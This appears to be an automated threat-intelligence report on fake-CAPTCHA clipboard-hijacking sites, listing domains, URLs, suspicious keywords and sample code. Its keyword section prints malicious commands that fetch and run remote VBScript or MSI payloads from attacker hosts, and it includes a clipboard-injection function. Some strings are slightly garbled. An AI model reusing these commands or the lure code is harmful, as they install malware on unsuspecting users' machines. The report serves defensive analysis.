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High-Impact ClickGrab Campaign: Advanced Analysis of 2026-02-05 Attack Patterns

📅 Published: February 05, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
88Sites
45%Detection
1PS Downloads

ClickGrab Threat Analysis Report - 2026-02-05

Generated on 2026-02-05 03:32:46

Executive Summary

  • Total sites analyzed: 88
  • Sites with malicious content: 40
  • Unique domains encountered: 284
  • Total URLs extracted: 2,604
  • PowerShell download attempts: 1
  • Clipboard manipulation instances: 212

Domain Analysis

Most Frequently Encountered Domains

  • baovechuyennghiep.baovengayvadem.com: 696 occurrences
  • adturekorea.co.kr: 214 occurrences
  • www.ccera-icar.org: 178 occurrences
  • 3.71.235.243: 136 occurrences
  • 18.176.47.246: 112 occurrences
  • www.yppgiibandung.org: 102 occurrences
  • 54.197.245.249: 66 occurrences
  • 44.208.147.17: 65 occurrences
  • 3.18.128.17: 51 occurrences
  • www.google.com: 39 occurrences
  • casa-ananda.cl: 38 occurrences
  • i.postimg.cc: 32 occurrences
  • icons.duckduckgo.com: 32 occurrences
  • ${host}: 32 occurrences
  • palaciodasabedoria.com: 30 occurrences

URL Pattern Analysis

reCAPTCHA imagery

5 occurrences across 3 distinct URLs

  • https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (2 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.google.com/recaptcha/api.js?onload=onloadCallback&render=explicit (1 times)

Font resources

40 occurrences across 24 distinct URLs

  • https://fonts.gstatic.com (4 times)
  • http://casa-ananda.cl/wp-content/uploads/et-fonts/Montserrat-Bold.ttf (4 times)
  • http://casa-ananda.cl/wp-content/uploads/et-fonts/Montserrat-Regular.ttf (4 times)
  • https://fonts.googleapis.com (2 times)
  • https://18.176.47.246/wp-content/plugins/vk-post-author-display/vendor/vektor-inc/font-awesome-versions/src/font-awesome/css/all.min.css?ver=7.1.0 (2 times)
  • ...and 19 more distinct URLs

CDN hosted scripts

11 occurrences across 10 distinct URLs

  • https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/css/bootstrap.min.css (2 times)
  • https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js (1 times)
  • https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/build/three.module.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/examples/jsm/ (1 times)
  • ...and 5 more distinct URLs

Google resources

51 occurrences across 16 distinct URLs

  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (32 times)
  • https://fonts.googleapis.com (2 times)
  • https://www.googletagmanager.com/gtag/js?id=UA-86972255-1 (2 times)
  • https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d38377.599722420644!2d106.65241824757776!3d10.802916754371077!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x927f53ecdcf6de52!2zQ8OUTkcgVFkgVE5ISCBE4buKQ0ggVuG7pCBC4bqiTyBW4buGIE5Hw4BZICYgxJDDik0gKFZQKQ!5e0!3m2!1svi!2s!4v1646897995209!5m2!1svi!2s (2 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • ...and 11 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 705 (70 unique)

Keyword Categories

Social Engineering

27 unique keywords

  • To better prove you are not a robot
  • Verification
  • CAPTCHA Verification
  • Verify You Are Human
  • robot
  • Robot
  • Checking if you are human
  • Verification ID
  • verification-code-container
  • exec /i https://seo-conference.by/wp-themes/Cioudfiare/Verification/UserID63894525i5832";
  • ...and 17 more

System Commands

34 unique keywords

  • Command </button>
  • command box */
  • exec /i http://inkbookwriters.com/verify /qn';
  • cmd /c "curi -s http://i78.i7.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nui && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
  • exec /i http://inkbookwriters.com/verify';
  • command into the terminai and press <kbd>Enter</kbd>.</ii>
  • command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://78.40.209.i64:5506/dk.vbs",0:h.Send:Execute h.ResponseText > "%temp%\dk.vbs" && "%temp%\dk.vbs"';
  • command prompt appiication on your system.</ii>
  • cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://78.40.209.i64:5506/dk.vbs",0:h.Send:Execute h.ResponseText > "%temp%\dk.vbs" && "%temp%\dk.vbs"';
  • command = 'msiexec /i http://inkbookwriters.com/verify';
  • ...and 24 more

Verification Text

3 unique keywords

  • ray id
  • hidden
  • Hidden

Technical Terms

6 unique keywords

  • iex
  • WinHttpRequest
  • .exe
  • Bypass
  • ResponseText
  • Ray ID

Most Frequent Keywords

  • hidden: 59 occurrences
  • robot: 52 occurrences
  • Robot: 42 occurrences
  • verification: 40 occurrences
  • Verification: 37 occurrences
  • Ray ID: 35 occurrences
  • I am not a robot: 35 occurrences
  • To better prove you are not a robot: 35 occurrences
  • Verification ID: 34 occurrences
  • Verify you are human: 34 occurrences
  • CAPTCHA Verification: 34 occurrences
  • verification-id: 34 occurrences
  • Checking if you are human: 32 occurrences
  • const command =: 32 occurrences
  • cmd: 18 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: command into PowerSheii and press <kbd>Enter</kbd>.</ii>, command into the terminai and press <kbd>Enter</kbd>.</ii>

Group 2: Verification ID, verification, Verification, verification-ioader, verification-id, verification id, Verification Hash, verification_id, verificationStrings

Group 3: Ray ID, ray id

Group 4: robot, Robot

Group 5: Verify you are human, Checking if you are human, Verify You Are Human

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • themes/Cioudfiare/Verification/UserID63894525i5832
  • com/i23/cioudfiare/verify/humanverfification/cioud...
  • au/smartdetection/deviceverification/CF/path/captc...
  • handleAppleCaptchaChange
  • iive/iamchaiienge/verification/UserID7383526

Clipboard Manipulation Analysis

Detected clipboard manipulation in 212 instances.

Document.Execcommand Copy

Found in 106 snippets (50.0% of clipboard code)

Examples:

document.execCommand("copy")

...try { const successful = document.execCommand('copy')

try { const successful = document.execCommand('copy')

Textarea Manipulation

Found in 107 snippets (50.5% of clipboard code)

Examples:

fallbackCopyToClipboard(text) { const textArea = document.createElement("textarea"

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

tListener("click", function () { const textarea = document.createElement('textarea'

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for web display. Full data available in JSON.